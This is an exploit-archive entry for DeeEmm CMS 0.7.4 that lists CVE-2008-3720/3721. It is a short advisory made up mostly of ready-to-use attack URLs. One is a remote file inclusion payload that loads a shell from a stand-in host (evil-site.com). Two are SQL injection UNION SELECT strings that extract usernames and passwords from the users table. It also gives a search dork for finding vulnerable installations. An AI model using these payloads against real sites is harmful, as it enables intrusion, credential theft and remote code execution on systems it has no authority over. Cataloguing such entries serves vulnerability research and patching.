deeemm CMS dmcms 0.7.4 - Multiple Vulnerabilities

2008-08-15T00:00:00
ID EDB-ID:6250
Type exploitdb
Reporter Khashayar Fereidani
Modified 2008-08-15T00:00:00

Description

DeeEmm CMS (DMCMS) 0.7.4 Multiple Remote Vulnerabilities. CVE-2008-3720,CVE-2008-3721. Webapps exploit for php platform

                                        
                                            #####################################################################################
####                        DeeEmm CMS Sql Injection/Rfi                         ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                                      #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                               #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr)                       #
#####################################################################################
#                                                                                   #
#Script Download : http://surfnet.dl.sourceforge.net/sourceforge/dmcms/dmcms_074.tar.gz
#                                                                                   #
#Home Page : www.deeemm.com                                                         #
#                                                                                   #
#DORK : "DeeEmm CMS"                                                                #
#                                                                                   #
#####################################################################################
#                                      [Rfi]                                        #
#                                                                                   #
#http://Site/user_language.php?INDM=r3d.w0rm&language_dir=http://evil-site.com/shell.txt?
#                                                                                   #
#                                 [Sql Injection]                                   #
#                                                                                   #
#http://Site/index.php?page=media`+union+select+0,1,2,4,5,6,7,8,9,user_name,11,password,13,14,15,16,17,18,19,20,21+from+deeemm_users/*                                #
#http://Site/index.php?page=media&id=-99999+union+select+0,1,2,4,5,6,7,8,9,user_name,11,password,13,14,15,16,17,18,19,20,21+from+deeemm_users                                #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-08-15]